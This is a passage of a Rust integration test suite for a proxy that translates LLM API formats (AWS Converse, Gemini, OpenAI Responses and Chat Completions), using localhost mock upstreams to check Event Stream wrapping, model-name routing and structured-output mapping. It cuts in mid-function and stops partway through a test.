fn proxy_dest_converse_wraps_json_completion_as_eventstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-to-converse-json.toml",
&format!(
r#"
schema_version = 1
id = "chat-to-converse-json"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse-stream HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let (head, body) = http_head_and_body(&resp);
assert!(
head.to_ascii_lowercase()
.contains("content-type: application/vnd.amazon.eventstream"),
"dest Converse JSON wrap must advertise Event Stream, got: {head}"
);
assert!(
!head.to_ascii_lowercase().contains("text/event-stream"),
"dest Converse JSON wrap must not advertise SSE, got: {head}"
);
let frames = eventstream_frames(&body);
let payloads = eventstream_raw_payloads(&body);
assert!(
payloads.iter().any(|value| {
value.get("contentBlockDelta").is_none()
&& value.pointer("/delta/text").and_then(|v| v.as_str()) == Some("hi")
}),
"JSON wrap dest payload must be the AWS member struct, got: {payloads:?}"
);
assert!(
frames.iter().any(|frame| {
frame.event.as_deref() == Some("contentBlockDelta") && frame.data.contains("hi")
}),
"JSON wrap must dest-encode text as Event Stream, got: {frames:?}"
);
}
#[test]
fn proxy_dest_converse_wraps_json_completion_with_signature_as_eventstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi","reasoning_signature":"sig-1"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-to-converse-json-sig.toml",
&format!(
r#"
schema_version = 1
id = "chat-to-converse-json-sig"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse-stream HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let (head, _body) = http_head_and_body(&resp);
let head_lc = head.to_ascii_lowercase();
assert!(
head_lc.contains("content-type: application/vnd.amazon.eventstream"),
"dest Converse JSON wrap with reasoning_signature must stay Event Stream, got: {head}"
);
assert!(
!head_lc.contains("application/json"),
"dest Converse JSON wrap must not fall through to unary JSON, got: {head}"
);
}
#[test]
fn proxy_dest_converse_remaps_chat_sse_content_filter() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"content_filter\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-to-converse-sse-filter.toml",
&format!(
r#"
schema_version = 1
id = "chat-to-converse-sse-filter"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse-stream HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let (head, body) = http_head_and_body(&resp);
assert!(
head.to_ascii_lowercase()
.contains("content-type: application/vnd.amazon.eventstream"),
"dest Converse content_filter remap must advertise Event Stream, got: {head}"
);
let payloads = eventstream_raw_payloads(&body);
assert!(
payloads
.iter()
.any(|value| value == &serde_json::json!({"stopReason": "content_filtered"})),
"Chat finish_reason content_filter must dest-encode as content_filtered, got: {payloads:?}"
);
}
#[test]
fn proxy_dest_converse_unary_json_stays_json() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-to-converse-unary.toml",
&format!(
r#"
schema_version = 1
id = "chat-to-converse-unary"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.to_ascii_lowercase().contains("application/json"),
"unary dest Converse must stay JSON, got: {resp}"
);
assert!(
!resp
.to_ascii_lowercase()
.contains("application/vnd.amazon.eventstream"),
"unary dest Converse must not dest-encode Event Stream, got: {resp}"
);
assert!(
resp.contains("hi"),
"unary dest Converse must remap assistant text, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_path_model_reaches_upstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"gemini-2.5-flash\""),
"dest Gemini path model must reach Chat upstream, got: {req}"
);
assert!(
!req.contains("\"model\":\"\""),
"dest Gemini must not send an empty model, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-path.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-path"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("200") || resp.contains("hi"),
"dest Gemini path-model remap must reach upstream, got: {resp}"
);
}
#[test]
fn proxy_dest_converse_path_model_reaches_upstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"amazon.nova-lite-v1:0\""),
"dest Converse path model must reach Chat upstream, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-converse-path.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-converse-path"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("200") || resp.contains("hi"),
"dest Converse path-model remap must reach upstream, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_stream_path_sets_upstream_stream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"stream\":true") || req.contains("\"stream\": true"),
"dest Gemini :streamGenerateContent must set Chat stream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-stream.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-stream"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:streamGenerateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("data:") || resp.contains("hi"),
"dest Gemini stream path must remap as SSE, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_stream_path_model_in_model_version() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"gemini-2.5-flash\""),
"dest Gemini stream path model must reach Chat upstream, got: {req}"
);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-stream-model.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-stream-model"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:streamGenerateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"modelVersion\":\"gemini-2.5-flash\""),
"dest Gemini stream must emit path model as modelVersion, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_unary_path_model_in_model_version() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"model\":\"gemini-2.5-flash\""),
"dest Gemini unary path model must reach Chat upstream, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-unary-model.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-unary-model"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("\"modelVersion\":\"gemini-2.5-flash\""),
"dest Gemini unary JSON must emit path model as modelVersion, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_response_schema_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"type\":\"json_schema\"") && req.contains("\"city\""),
"dest Gemini responseSchema must reach Chat json_schema, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"{\"city\":\"Paris\"}"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-schema.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-schema"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"city"}]}],"generationConfig":{"responseMimeType":"application/json","responseSchema":{"type":"object","properties":{"city":{"type":"string"}}}}}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("Paris"),
"dest Gemini schema follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_response_format_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"type\":\"json_schema\"") && req.contains("\"city\""),
"dest Gemini responseFormat.text.schema must reach Chat json_schema, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"{\"city\":\"Paris\"}"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-response-format.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-response-format"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"city"}]}],"generationConfig":{"responseFormat":{"text":{"mimeType":"APPLICATION_JSON","schema":{"type":"object","properties":{"city":{"type":"string"}}}}}}}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("Paris"),
"dest Gemini responseFormat follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_responses_json_object_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"type\":\"json_object\"") && req.contains("response_format"),
"dest Responses text.format json_object must reach Chat response_format, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"{\"ok\":true}"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-json-object.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-json-object"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","input":"hi","text":{"format":{"type":"json_object"}}}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Responses json_object follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_chat_json_object_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"type\":\"json_object\"") && req.contains("response_format"),
"dest Chat response_format json_object must reach Chat, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"{\"ok\":true}"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-chat-json-object.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-chat-json-object"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}],"response_format":{"type":"json_object"}}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
